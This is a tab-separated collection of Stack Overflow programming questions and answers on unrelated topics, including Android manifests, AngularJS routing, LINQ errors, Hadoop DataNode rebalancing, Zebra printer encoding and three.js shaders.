7199157	0	Android app installs but doesn't show up in app tray <p>I'm building a time logging application and i have created the main layout. I tried to debug my application on my phone Samsung Galaxy S and it starts fine, but if i close it and want to run it again it's not in my app drawer. It shows up in Settings->Programs->Manage and in Recent when holding down the home button.</p> <p>Here is the manifest.xml</p> <pre><code>&lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.doweb.timelog" android:versionCode="1"&gt; &lt;application android:icon="@drawable/icon" android:label="@string/app_name" android:theme="@android:style/Theme.NoTitleBar"&gt; &lt;activity android:name="MainActivity" android:label="@string/app_name"&gt; &lt;intent-filter&gt; &lt;action android:name="android.intent.action.MAIN"&gt; &lt;category android:name="android.intent.category.LAUNCHER"&gt; &lt;/category&gt;&lt;/action&gt;&lt;/intent-filter&gt; &lt;/activity&gt; &lt;/application&gt; &lt;uses-sdk android:minSdkVersion="8"&gt; &lt;/uses-sdk&gt; &lt;/manifest&gt; </code></pre>
31804966	0	Running NodeJs http-server forever with PM2 <p>My question is about running HTTP-server in combination with PM2. </p> <p>The problem i face is that:</p> <ol> <li>HTTP-server requires as input a folder which is the root of the website and a port number to run the website on.</li> <li>PM2 doesn't recognize the HTTP-server command, even when HTTP-server is installed with the -g option.</li> </ol> <p>So i tried the following (note the double dash which should pass the parameters to the HTTP-server script:</p> <pre><code>/node_modules/http-server/lib$ pm2 start http-server.js -- /home/unixuser/websiteroot -p8686 </code></pre> <p>But it doesn't work.</p> <p>I also tried:</p> <pre><code>http-server /home/unixuser/websiteroot -p8686 </code></pre> <p>Which does work, but doesn't have the great support of pm2 ?</p> <p>Any suggestions would be great, thanks!</p>
13706289	0	how to set a base url with sammy? <p>i'm looking around for javascript routing libraries and i come to Sammy, so i'm learning it.</p> <p>All examples that i've seen so far show hot to proceed routing based from a domain as a base url, like www.mydomain.com/# and then all routes goes on</p> <p>but i'm doing some trials within a nested dir within my localhost dir, say /wwwroot/play/sammy/ so my base url would be </p> <pre><code>http://localhost/~rockdeveloper/play/sammy/# </code></pre> <p>and then all routes must go on, like:</p> <pre><code>http://localhost/~rockdeveloper/play/sammy/#/products http://localhost/~rockdeveloper/play/sammy/#/clients http://localhost/~rockdeveloper/play/sammy/#/search </code></pre> <p>is there any way to set this base url so i can proceed to config sammy routes like this ?</p> <pre><code>get('#/products') get('#/clients') get('#/search') </code></pre> <p>by now i have to concatenate the main string to the route, and i wish it would be more smart than this...</p> <pre><code>baseurl='/~rockdeveloper/play/sammy/#/search'; get(baseurl + '#/products'); </code></pre> <p>thanks.</p>
38233127	0	Angular - Bootstrap: Page navigation (Next and back button) using Angular UI-route not working when changing the state from controller <p>I am trying to achieve page navigation (Next and back button) using Angular UI-route. I am changing the state from controller and it is getting changed on view as well but is not redirecting me to that page. I have achieved it using button click using $state.go('stateName') but I want use Bootstrap page for this . </p> <p><a href="https://plnkr.co/edit/KV9LEC?p=preview" rel="nofollow">plunker</a></p> <p>here is my code </p> <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>$stateProvider .state('settings', { url: '/settings', templateUrl: 'templates/settings.html' }) .state('settings.profile', { url: '/profile', templateUrl: 'templates/profile.html', controller: 'ProfileController' }) .state('settings.account', { url: '/account', templateUrl: 'templates/account.html', controller: 'AccountController' }) .state('settings.profile1', { url: '/profile1', template: 'settings.profile1' }) .state('settings.account1', { url: '/account1', template: 'settings.account1' }); $urlRouterProvider.otherwise('/settings/profile'); // controlller $rootScope.$on('$stateChangeStart', function(event, toState, toParams, fromState, fromParams) { $scope.nextState = 'settings.account'; $scope.previousState = $state.current; //alert('$stateChangeStart') });</code></pre> </div> </div> </p> <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-html lang-html prettyprint-override"><code> &lt;ul class="pager"&gt; {{nextState}} &lt;li&gt;&lt;a ui-sref=".{{previousState}}"&gt;Previous&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a ng-click=".{{nextState}}"&gt;Next&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt;</code></pre> </div> </div> </p>
27226330	0	 <pre><code>SELECT CASE WHEN ((SELECT Count(*) FROM table) &gt;= '100') THEN 'ALERT' ELSE null END </code></pre> <p>Create a job that runs every 10 seconds/5 seconds or what ever and put in the above query and get it to email if there are results.</p>
1308103	0	 <p>There's already a browser-based system that uses keys to secure data transfer. It's called SSL.</p>
16278639	0	 <p>There is difference between 1 and 0.1: your first case shows whole number while second case shows fractional.</p> <p>So if you test 10-20 range with value of 9.9 you may get error of data type (fractional instead of whole, or float instead of byte). By doing that, instead of testing range you test data type. This test is also important but different from the boundary analysis.</p>
12287876	0	 <p>No. I looked in the documentation, and it looks like HighCharts.js only supports <code>renderTo</code> to a single HTML element. <a href="http://api.highcharts.com/highcharts#chart.renderTo" rel="nofollow">http://api.highcharts.com/highcharts#chart.renderTo</a></p> <p>I would assume that you have 5 pie charts that have different datasets, so it wouldn't make sense to load the same chart into multiple DIV elements anyway.</p> <p>You could write a loop that loaded the different charts.</p> <p>For example:</p> <pre><code>function loadCharts(chartData){ for(i=0; i&lt;chartData.length; i++){ var container = chartData[i]['container']; var myData = chartData[i]['myData']; var chart = new Highcharts.Chart({ chart: { renderTo: container, height: 400, plotBackgroundColor: null, plotBorderWidth: 2, borderWidth: 0, plotShadow: false }, xAxis: { categories: ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'] }, series: [{ data: myData }] }); } } var highchartsdata = [{ container: 'container1', myData: [29.9, 71.5, 106.4, 129.2, 144.0, 176.0, 135.6, 148.5, 216.4, 194.1, 95.6, 54.4] }, { container: 'container2', myData: [29.9, 71.5, 106.4, 129.2, 144.0, 176.0, 135.6, 148.5, 216.4, 194.1, 95.6, 54.4] }, { container: 'container3', myData: [29.9, 71.5, 106.4, 129.2, 144.0, 176.0, 135.6, 148.5, 216.4, 194.1, 95.6, 54.4] }, { container: 'container4', myData: [29.9, 71.5, 106.4, 129.2, 144.0, 176.0, 135.6, 148.5, 216.4, 194.1, 95.6, 54.4] }, { container: 'container5', myData: [29.9, 71.5, 106.4, 129.2, 144.0, 176.0, 135.6, 148.5, 216.4, 194.1, 95.6, 54.4] }]; loadCharts(highchartsdata); </code></pre> <p>This is an example I didn't test, but should help you get on the right path if that's how you want to go.</p>
29099545	0	 <p>Why not just set the value to <code>true</code> inside the <code>else</code> block?</p> <pre><code>@if (hasMoreThanOnePerson) { &lt;td&gt; @Html.CheckBoxFor(m =&gt; m.People[i].IsSelected) &lt;/td&gt; } else { @{ Model.People[i].IsSelected = true; } @Html.HiddenFor(m =&gt; m.People[i].IsSelected) // Set TRUE always to hidden field within for loop with indexer } </code></pre>
23949998	0	What effect does a space have before the class name? <p>My aim is to have this class apply only when set on <code>&lt;img&gt;</code> tags. It only works when there is no space between the tag name and the class name, but doesn't when there is. I have seen style sheets with spaces in the signature, so I'm sure it must be valid in some contexts.</p> <p>What is the difference between:</p> <pre><code>img.approved-photo { // no space } </code></pre> <p>and</p> <pre><code>img .approved-photo { // has a space } </code></pre>
36369339	0	Cannot compare elements of type 'System.Linq.IQueryable`1'. Only primitive types, enumeration types and entity types are supported <p>i have this code in my controller</p> <pre><code>[HttpGet] public ActionResult Nabipour() { string name = "Nabipour"; var username = (from T in _db.tbl_teacher where T.Page==name select T.Username); ViewBag.Nabipour = from N in _db.tbl_Tpage where N.Username.Equals(username) select N; ViewBag.papers = from P in _db.tbl_Tpaper where P.Username.Equals(username) select P; return View(); } </code></pre> <p>and this is my view for this action:</p> <pre><code>@{ ViewBag.Title = "Nabipour"; Layout = "~/Views/Shared/_otherpage.cshtml"; } .... &lt;ul&gt; @foreach (var paper in ViewBag.papers) { &lt;li&gt;&lt;a href="~/Content/Paper/@paper.PaperName"&gt;&lt;/a&gt;&lt;/li&gt; } &lt;/ul&gt; .... </code></pre> <p>so as you see i not checking null in my select code and i tried this code with <code>.FirstOrDefault()</code> in the select. the error</p> <blockquote> <p>Cannot compare elements of type 'System.Linq.IQueryable 1 . Only primitive types, enumeration types and entity types are supported</p> </blockquote> <p>is on <code>@foreach (var paper in ViewBag.papers)</code> please help me what should i do? </p>
3522842	0	 <p>Here's a binary search algorithm I just wrote for you that does the trick:</p> <pre><code>import java.util.Random; public class RangeFinder { private void find(double query, double[] data) { if (data == null || data.length == 0) { throw new IllegalArgumentException("No data"); } System.out.print("query " + query + ", data " + data.length + " : "); Result result = new Result(); int max = data.length; int min = 0; while (result.lo == null &amp;&amp; result.hi == null) { int pos = (max - min) / 2 + min; if (pos == 0 &amp;&amp; query &lt; data[pos]) { result.hi = pos; } else if (pos == (data.length - 1) &amp;&amp; query &gt;= data[pos]) { result.lo = pos; } else if (data[pos] &lt;= query &amp;&amp; query &lt; data[pos + 1]) { result.lo = pos; result.hi = pos + 1; } else if (data[pos] &gt; query) { max = pos; } else { min = pos; } result.iterations++; } result.print(data); } private class Result { Integer lo; Integer hi; int iterations; long start = System.nanoTime(); void print(double[] data) { System.out.println( (lo == null ? "" : data[lo] + " &lt;= ") + "query" + (hi == null ? "" : " &lt; " + data[hi]) + " (" + iterations + " iterations in " + ((System.nanoTime() - start) / 1000000.0) + " ms. )"); } } public static void main(String[] args) { RangeFinder rangeFinder = new RangeFinder(); // test validation try { rangeFinder.find(12.4, new double[] {}); throw new RuntimeException("Validation failed"); } catch (IllegalArgumentException e) { System.out.println("Validation succeeded"); } try { rangeFinder.find(12.4, null); throw new RuntimeException("Validation failed"); } catch (IllegalArgumentException e) { System.out.println("Validation succeeded"); } // test edge cases with small data set double[] smallDataSet = new double[] { 2.0, 7.8, 9.0, 10.5, 12.3 }; rangeFinder.find(0, smallDataSet); rangeFinder.find(2.0, smallDataSet); rangeFinder.find(7.9, smallDataSet); rangeFinder.find(10.5, smallDataSet); rangeFinder.find(12.3, smallDataSet); rangeFinder.find(10000, smallDataSet); // test performance with large data set System.out.print("Preparing large data set..."); Random r = new Random(); double[] largeDataSet = new double[20000000]; largeDataSet[0] = r.nextDouble(); for (int n = 1; n &lt; largeDataSet.length; n++) { largeDataSet[n] = largeDataSet[n - 1] + r.nextDouble(); } System.out.println("done"); rangeFinder.find(0, largeDataSet); rangeFinder.find(5000000.42, largeDataSet); rangeFinder.find(20000000, largeDataSet); } } </code></pre>
9001115	0	Save banking account data secure <p>I need to save banking account data in a web project. The project is asp.net mvc 3 and the database is MSSQL 2008 R2.</p> <p>But how should I do that secure?</p> <p>My solutions are:</p> <ol> <li><p>Solution: Encrypt the Data with TripleDESCryptoServiceProvider and save them to the Database.</p></li> <li><p>Solution: Save only maybe the last 3 numbers of the account data (like amazon shows you), so that the user will recognize which account data he has saved to the system. Encrypt the entire account data and save them to a different database (maybe with a stored procedure) where the web project has no rights to.</p></li> </ol> <p>We only need the account data, collect the monthly fees. So we do not need them in the web project. But the user has to recognise which account data he has given to pay the fees.</p> <p>What are the best solutions?</p> <p>EDIT:</p> <p>Thank you all for your replies. I Think we will really use a service provider, that will store the account data and does all the other stuff like Accounts receivable management.</p>
41023266	0	Is there an OData dependency graph somewhere? <p>I'm following <a href="http://lightswitchhelpwebsite.com/Blog/tabid/61/EntryId/3292/A-OData-4-AngularJs-TypeScript-Sample-Application.aspx" rel="nofollow noreferrer">this guide</a> to migrate an app I developed to an open framework. I get to the part where I'm supposed to install all the OData references. Specifically these:</p> <pre><code>Install-Package Angularjs Install-Package Microsoft.OData.Client Install-Package Microsoft.OData.Core Install-Package Microsoft.OData.Edm Install-Package Microsoft.Spatial Install-Package Microsoft.AspNet.OData Install-Package Microsoft.AspNet.WebApi.WebHost </code></pre> <p>And these are the errors I get:</p> <pre><code>Unable to resolve dependencies. 'Microsoft.OData.Core 7.0.0' is not compatible with 'Microsoft.OData.Client 6.15.0 constraint: Microsoft.OData.Core (= 6.15.0)'. Unable to find a version of 'Microsoft.OData.Core' that is compatible with 'Microsoft.OData.Client 6.15.0 constraint: Microsoft.OData.Core (= 6.15.0)'. Unable to find a version of 'Microsoft.OData.Core' that is compatible with 'Microsoft.OData.Client 6.15.0 constraint: Microsoft.OData.Core (= 6.15.0)'. Unable to find a version of 'Microsoft.OData.Edm' that is compatible with 'Microsoft.OData.Core 6.15.0 constraint: Microsoft.OData.Edm (= 6.15.0)'. </code></pre> <p>I started running my app over and over until it throws an exception and then adding a <code>bingindRedirect</code> to my <code>Web.config</code> to target the currently installed versions. But this doesn't seem right and will add a lot of maintenance later on. I know how to install old versions and nightly versions. But I have no idea which versions to install. Is there some place that tells me which versions work together correctly?</p> <hr> <p>According to NuGet, I have version 6.15.0 of each installed. So why am I getting errors?</p> <p><a href="https://i.stack.imgur.com/6YR5D.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/6YR5D.png" alt="Edm"></a></p> <p><a href="https://i.stack.imgur.com/oKIzS.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/oKIzS.png" alt="Core"></a></p> <p><a href="https://i.stack.imgur.com/Mo60i.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/Mo60i.png" alt="Client"></a></p>
3188353	0	 <p>Every environment is slightly different. In comparison, you have to decide what works for you. Amazon for example makes their developers own their own code, which some developers hate, but it is a feature of that environment that keeps bug counts low (when was the last time you saw a bug on amazon.com?). </p> <p>Others want a tighter QA process so create an operations department to look after deploys, but I've found they tend to create an atmosphere of negativity in the company: they are rewarded by justifying their role, which entails pointing out and supporting the bad things in the World. If the devs are good at their job, resentment can creep in if their pay is in any way performance-related.</p> <p>Personally, I tend to prefer to look after the whole stack, but increasingly am moving to providers that allow me to worry less and less about hardware (EC2, Heroku, etc.), and to focus more on functionality in the apps. I personally like owning the code and the bugs, as it means I am demonstrably motivated to keeping bug tickets down - every open ticket is a delay to the new functionality I want to work on.</p> <p>Each to their own.</p>
16618756	0	 <p>Since you're using Windows, <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/ms683197.aspx" rel="nofollow">GetModuleFileName</a> should do the trick. Just pass <code>NULL</code> for the <code>hModule</code> parameter. Be sure to read the documentation carefully if you want to handle long file names (and you typically do). You'll also have to strip the name of the executable to get the directory path. A quick-and-dirty way to do so is to remove everything after the last <code>\</code>.</p>
20944063	0	 <p>I dont understand you question.</p> <p>You say you want to add a <code>TextureView</code> to your activity_main.xml layout. but it is already there.</p> <p>Obviously if you use <code>setContentView(mTextureView);</code> after <code>setContentView(R.layout.activity_main);</code> the entire layout will be gone. You are setting the activity content to a single view instead of the entire layout.</p> <p>You are also creating a new <code>TextureView</code> and not using the one on the activity_main layout.</p> <pre><code>@Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); mTextureView = (TextureView)findViewById(R.id.textureView1); mTextureView.setSurfaceTextureListener(this); } </code></pre> <p>I think you should be doing something like this. I never tested this though.</p> <p>It seems that you are trying to make a camera preview with the TextureView, there is a good example <a href="http://docs.xamarin.com/recipes/android/other_ux/textureview/display_a_stream_from_the_camera/" rel="nofollow">here</a>, and a more advanced version <a href="http://www.tutorialspoint.com/android/android_textureview.htm" rel="nofollow">here</a>.</p>
32283313	0	C# Node pointer issue <p>I am having some trouble setting child nodes using C#. I am trying to build a tree of nodes where each node holds an int value and can have up to a number of children equal to it's value.</p> <p>My issue appears when I iterate in a node looking for empty(null) children so that I may add a new node into that spot. I can find and return the null node, but when I set the new node to it, it loses connection to the parent node. </p> <p>So if I add 1 node, then it is linked to my head node, but if I try to add a second it does not become a child of the head node. I am trying to build this with unit tests so here is the test code showing that indeed the head does not show the new node as it's child (also confirmed with visual studios debugger):</p> <pre><code> [TestMethod] public void addSecondNodeAsFirstChildToHead() { //arange Problem3 p3 = new Problem3(); p3.addNode(2, p3._head); Node expected = null; Node expected2 = p3._head.children[0]; int count = 2; //act Node actual = p3.addNode(1, p3._head); Node expected3 = p3._head.children[0]; //assert Assert.AreNotEqual(expected, actual, "Node not added"); //pass Assert.AreNotEqual(expected2, actual, "Node not added as first child"); //pass Assert.AreEqual(expected3, actual, "Node not added as first child"); //FAILS HERE Assert.AreEqual(count, p3.nodeCount, "Not added"); //pass } </code></pre> <p>Here is my code.</p> <pre><code>public class Node { public Node[] children; public int data; public Node(int value) { data = value; children = new Node[value]; for(int i = 0; i &lt; value; i++) { children[i] = null; } } } public class Problem3 { public Node _head; public int nodeCount; public Problem3() { _head = null; nodeCount = 0; } public Node addNode(int value, Node currentNode) { if(value &lt; 1) { return null; } Node temp = new Node(value); //check head if (_head == null) { _head = temp; nodeCount++; return _head; } //start at Current Node if (currentNode == null) { currentNode = temp; nodeCount++; return currentNode; } //find first empty child Node emptyChild = findEmptyChild(currentNode); emptyChild = temp; nodeCount++; return emptyChild; } public Node findEmptyChild(Node currentNode) { Node emptyChild = null; //find first empty child of current node for (int i = 0; i &lt; currentNode.children.Length; i++) { if (currentNode.children[i] == null) { return currentNode.children[i]; } } //move to first child and check it's children for an empty //**this causes values to always accumulate on left side of the tree emptyChild = findEmptyChild(currentNode.children[0]); return emptyChild; } </code></pre> <p>I feel the problem is I am trying to treat the nodes as pointers like I would in C++ but that it is not working as I expect.</p>
3841110	0	 <p>It's probably worth just testing if the following works:</p> <pre><code>SqlConnection con = new SqlConnection("Data Source=server;Initial Catalog=Invoicing;Persist Security Info=True;ID=id;Password=pw"); </code></pre> <p>To me it looks like your connection string is probably not right - there's no user provided. I use the following connection string: "Data Source=ServerNameHere;Initial Catalog=DBNameHere;User ID=XXXX;Password=XXXX"</p>
11754070	0	Editing Dynamically Generated Telerikmvc3 Grid <p>I have a dynamically generated MVC3 grid that is populated from a ViewModel. I need to add editing to the grid and cant get it to even go into edit mode.</p> <p>Also I need to be able to make some of the columns readonly.</p> <p>My code is below:</p> <pre><code>@(Html.Telerik() .Grid&lt;System.Data.DataRow&gt;(Model.Data.Rows.Cast&lt;System.Data.DataRow&gt;()) .HtmlAttributes(new { style = "width: 2500px" }) .Name("Grid") .ToolBar(tb =&gt; tb.Template("Outstanding Orders")) .DataKeys(dataKeys =&gt; dataKeys.Add("DeliveryID")) .Columns(columns =&gt; { columns.Command(commands =&gt; { commands.Edit().ButtonType(GridButtonType.ImageAndText) .HtmlAttributes( new { style = "width: 60px; min-width: 40px; background: #0066FF" }); }).Width(100).Title("Commands"); columns.Command(commandbutton =&gt; { commandbutton.Select().ButtonType(GridButtonType.ImageAndText) .HtmlAttributes( new { style = "width: 60px; min-width: 40px; background: #0066FF" }); columns.LoadSettings(Model.Columns as IEnumerable&lt;GridColumnSettings&gt;); }) .DataBinding(dataBinding =&gt; dataBinding.Server() .Select("_DeliveryGrid", "Deliveries") .Update("Save", "Deliveries")) .Editable(editing =&gt; editing.Mode(GridEditMode.InLine)) .Sortable(settings =&gt; settings.Enabled(true)) .Scrollable(c =&gt; c.Height("9000px")) .EnableCustomBinding(true) .Resizable(resize =&gt; resize.Columns(true)) ) </code></pre> <p>My viewmodel definition</p> <pre><code>public class DeliveriesGridViewModel { public DataTable Data { get; set; } public IEnumerable&lt;GridColumnSettings&gt; Columns { get; set; } } </code></pre> <p>Thanks for the help</p>
14361227	0	 <p>This will do the trick:</p> <pre><code>if($_SERVER['REMOTE_ADDR'] === '127.0.0.1') { // do something } </code></pre> <p>Be careful you don't rely on X_FORWARDED_FOR as this header can be easily (and accidentally) spoofed.</p> <p>The correct way to do this would be to set an environmental variable in your server configuration and then check that. This will also allow you to toggle states between a local environment, staging and production.</p>
15601937	0	Zebra printer serbian latin characters <p>I have a problem with Zebra printer RW220 not printing serbian latin characters, like čćžšđ. I developed an android app which uses the printer. The printing part is based on Zebra SDK. Here's the part of the code:</p> <pre><code>private byte[] getConfigLabel() { PrinterLanguage printerLanguage = printer.getPrinterControlLanguage(); byte[] configLabel = null; if (printerLanguage == PrinterLanguage.ZPL) { try { configLabel = "^XA^FO17,16^GB379,371,8^FS^FT65,255^A0N,135,134^FDTEST^FS^XZ".getBytes("UTF-8"); } catch (UnsupportedEncodingException e) { // TODO Auto-generated catch block e.printStackTrace(); } } else if (printerLanguage == PrinterLanguage.CPCL) { String cpclConfigLabel = "! 0 200 200 780 1\r\n" + "T ARIAL9PT.CPF 0 60 10 ABCČĆŽŠĐ\r\n" + "PRINT\r\n"; configLabel = cpclConfigLabel.getBytes(); } return configLabel; } </code></pre> <p>The font used is Arial, which I converted using Zebra Utilities to CPF, for use with printer. I also added the characters to the font, but it doesn't print them. In this example, it just prints the ABC. And with the system fonts, it prints some strange characters. I also tried adding "ENCODING UTF-8" line before "T ARIAL9PT.CPF 0 60 10 ABCČĆŽŠĐ\r\n", but it doesn't do anything, same with the system fonts. How can I make it print serbian latin characters? Thanks.</p> <p>EDIT: ISO-8859-2 prints Č and Ć, but not Ž.</p>
38632937	0	 <p>You can put these variables in an interface. That way, you will make these "public static final".</p> <p>Ideally you can even put these into properties file. In that case, these should be config properties of your application which may control a feature or anything that could've been changed from outside(e.g. an url).</p>
34423220	0	 <p>Just to add to the accepted answer (not enough rep to comment), I had this issue arise when blocking using <code>task.Result</code>, event though every <code>await</code> below it had <code>ConfigureAwait(false)</code>, as in this example:</p> <pre><code>public Foo GetFooSynchronous() { var foo = new Foo(); foo.Info = GetInfoAsync.Result; // often deadlocks in ASP.NET return foo; } private async Task&lt;string&gt; GetInfoAsync() { return await ExternalLibraryStringAsync().ConfigureAwait(false); } </code></pre> <p>The issue actually lay with the external library code. The async library method tried to continue in the calling sync context, no matter how I configured the await, leading to deadlock.</p> <p>Thus, the answer was to roll my own version of the external library code <code>ExternalLibraryStringAsync</code>, so that it would have the desired continuation properties.</p> <p><hr> <strong>wrong answer for historical purposes</strong></p> <p>After much pain and anguish, I found the solution <a href="http://weblogs.asp.net/pglavich/asp-net-web-api-request-response-usage-logging" rel="nofollow">buried in this blog post</a> (Ctrl-f for 'deadlock'). It revolves around using <code>task.ContinueWith</code>, instead of the bare <code>task.Result</code>.</p> <p>Previously deadlocking example:</p> <pre><code>public Foo GetFooSynchronous() { var foo = new Foo(); foo.Info = GetInfoAsync.Result; // often deadlocks in ASP.NET return foo; } private async Task&lt;string&gt; GetInfoAsync() { return await ExternalLibraryStringAsync().ConfigureAwait(false); } </code></pre> <p>Avoid the deadlock like this:</p> <pre><code>public Foo GetFooSynchronous { var foo = new Foo(); GetInfoAsync() // ContinueWith doesn't run until the task is complete .ContinueWith(task =&gt; foo.Info = task.Result); return foo; } private async Task&lt;string&gt; GetInfoAsync { return await ExternalLibraryStringAsync().ConfigureAwait(false); } </code></pre>
25530556	0	 <p>Having the triggers activate when the application is not running at all (not even in background) isn't supported through the Worklight APIs. You could try and use Worklight Android Native SDK together with cmarcelk's suggestions. Or you could use the Worklight Android triggers within a native service, together with the Broadcast Receivers mechanism so that it will run automatically on boot. You could then use an Intent to open the application from the trigger callback.</p>
4157941	0	 <p>I think the loop is just fine, but if you want to keep track,</p> <pre><code>var winList = new Array(); var count = 10; for(var i=0; i &lt; count; i++){ winList[i] = window.open("http://www.test.com"); } </code></pre> <p>This way, you can keep references to your windows.</p> <p>hth</p>
34894906	0	 <p>I don't have enough rep to post this as a comment to the question.</p> <p>Maybe your PowerBuilder source control methodology is holding you back. Do you control the PB objects inside of the PBLs? Or do you control *.sr? (PB Export) files, maybe using PowerGen to synchronize them into the PBLs?</p> <p>At work, a set of PBLs is published to programmers by the Build Manager at every build. This avoids having to pay one PowerGen license per programmer for them to sync up (which can take 5-40 minutes depending on the number of changes and the app size). You need just one license for the build server.</p> <p>One caveat is that programmers need to understand the flow correctly so not to lose code or cause regressions, but a good inspection of the TortoiseHg diff window should allow to catch most problems before committing. </p>
20698101	0	After manually rebalancing hadoop hdfs disks DataNode won't restart <p>I use Hadoop hadoop-2.0.0-mr1-cdh4.1.2 in a cluster of 40 machines. Each machine has 12 disks used by hadoop. Some disks in one machine were unbalanced, and I decided to re-balance manually as mentioned in this post: <a href="http://stackoverflow.com/questions/13153790/rebalance-individual-datanode-in-hadoop">rebalance individual datanode in hadoop</a> I stopped the DataNode on that server, moved block file pairs, moved whole sub-directories between some of the disks.</p> <p>As soon as I stopped the DataNode, the NameNode complained about missing blocks by displaying the following message in the UI: WARNING : There are 2002 missing blocks. Please check the logs or run fsck in order to identify the missing blocks.</p> <p>Then, I tried to restart the DataNode. It refuses to successfully start and it keeps logging errors and warnings such as follows:</p> <p>java.io.IOException: Invalid directory or I/O error occurred for dir: /data/disk3/dfs/data/current/BP-208475052-10.165.18.36-1351280731538/current/finalized/subdir61/subdir28</p> <p>2013-12-20 01:40:29,046 WARN org.apache.hadoop.hdfs.server.datanode.DataNode: IOException in offerService java.io.IOException: block pool BP-208475052-10.165.18.36-1351280731538 is not found</p> <p>2013-12-20 01:40:29,088 ERROR org.apache.hadoop.hdfs.server.datanode.DataNode: Exception in BPOfferService for Block pool BP-208475052-10.165.18.36-1351280731538 (storage id DS-737580588-10.165.18.36-50010-1351280778276) service to aspen8hdp19.turner.com/10.165.18.56:54310 java.lang.NullPointerException</p> <p>2013-12-20 01:40:34,088 WARN org.apache.hadoop.hdfs.server.datanode.DataNode: IOException in offerService java.io.IOException: block pool BP-208475052-10.165.18.36-1351280731538 is not found</p> <p>So, I have some questions:</p> <ul> <li>Isn't it enough to follow the approach I mentioned? I.e. stop DataNode, move block file pairs and/or subdirectories, restart DataNode.</li> <li>Do I need to restart NameNode or other services?</li> <li>Why does it complain about missing blocks or corrupt files?</li> <li>How can I restart the DataNode and get rid of those exceptions therefore having the DN communicate successfully with the NN?</li> </ul> <p>I appreciate your help. Eduardo.</p>
14026722	0	 <p>The background is relative to your div, not to margins, use paddings instead.</p>
4995708	0	 <p>It's like "normal" fields. So before the static constructor. You can check with a very simple program.</p> <p>The order is:</p> <ul> <li>static fields</li> <li>static constructor</li> <li>"normal" fields</li> <li>"normal" constructor</li> </ul> <p>A sample program:</p> <pre><code>class Program { static void Main(string[] args) { Console.WriteLine("Start"); int b = A.B; Console.WriteLine("Read A.B"); new A(); Console.WriteLine("Built A"); } } class A { public static int B = mystaticfunc(); static int mystaticfunc() { Console.WriteLine("Static field"); return 1; } static A() { Console.WriteLine("Static constructor"); } int C = myfunc(); static int myfunc() { Console.WriteLine("Field"); return 1; } public A() { Console.WriteLine("Constructor"); } } </code></pre> <p>Output:</p> <pre class="lang-none prettyprint-override"><code>Start Static field Static constructor Read A.B Field Constructor Built A </code></pre>
38536136	0	Unique methods for use through the class rather than an object <p>So, I'm beginning to learn Java and I think it's an awesome programming language, however I've come across the <code>static</code> keyword which, to my understanding, makes sure a given method or member variable is accessible through the class (e.g. <code>MyClass.main()</code>) rather than solely through the object (<code>MyObject.main()</code>). My question is, is it possible to make certain methods only accessible through the class and not through the object, so that <code>MyClass.main()</code> would work, however <code>MyObject.main()</code> would not? Whilst I'm not trying to achieve anything with this, I'd just like to know out of curiosity.</p> <p>In my research I couldn't find this question being asked anywhere else, but if it is elsewhere I'd love to be pointed to it!</p> <p>Forgive me if it's simple, however I've been thinking on this for a while and getting nowhere.</p> <p>Thanks!</p>
2811457	0	 <p>Safe from what? If an attacker has root, they can subvert system calls and spy on memory buffers before encryption and after decryption, and nothing you can do is safe.</p> <p>If an attacker does not have root, they can't see this information even if you don't encrypt it.</p> <p>So I don't see a point to this.</p>
23189974	0	 <p>Your production environment has the <code>short_open_tag</code> setting disabled. For full compatibility its recommended that you do not turn it on and instance use the full php tag <code>&lt;?php</code> instead of <code>&lt;?</code></p>
40185920	0	custom vertex color with threejs LineSegments() <p>I am struggling with threejs to use a shaderMaterial on a THREE.LineSegments my goal is to have per vertex color, on a bunch of line segments:</p> <p>I have a vertex and a fragment shader :</p> <pre><code> &lt;script type="x-shader/x-vertex" id="vertexshader"&gt; varying vec3 vColor; attribute vec3 customColor; void main() { vColor = customColor; } &lt;/script&gt; &lt;script type="x-shader/x-fragment" id="fragmentshader"&gt; varying vec3 vColor; void main() { gl_FragColor = vec4(vColor, 1.0 ); } &lt;/script&gt; </code></pre> <p>then in the threejs scene , I create all the relevant stuff for the shader, and apply it to the object:</p> <pre><code> var customColors = new Float32Array(_count*2*3); // 2 vertex by segment *length(RGB) for (var i = 0; i &lt; customColors.length/3; i++) { var ratio = i / (customColors.length/3.0); customColors[(i*3)] = ratio; customColors[(i*3)+1] = ratio; customColors[(i*3)+2] = ratio; }; geo.addAttribute('customColor' , new THREE.BufferAttribute(customColors,3)); var drawCount = _count * 2; geo.setDrawRange( 0, drawCount ); var uniforms = { opacity : 0.5 }; var customMaterial = new THREE.ShaderMaterial( { uniforms : uniforms, vertexShader : document.getElementById( 'vertexshader' ).textContent, fragmentShader : document.getElementById( 'fragmentshader' ).textContent, } ); var lines = new THREE.LineSegments(geo, customMaterial); </code></pre> <p>I can't find where the problem is. The line segments don't appear at all,not even in black. All I have managed to do is to 'hard code' the color in the fragment shader ( which defeats the purpose evidently).</p> <p>No error message whatsoever in the console.</p> <p>please help, what am i doing wrong here ?</p>
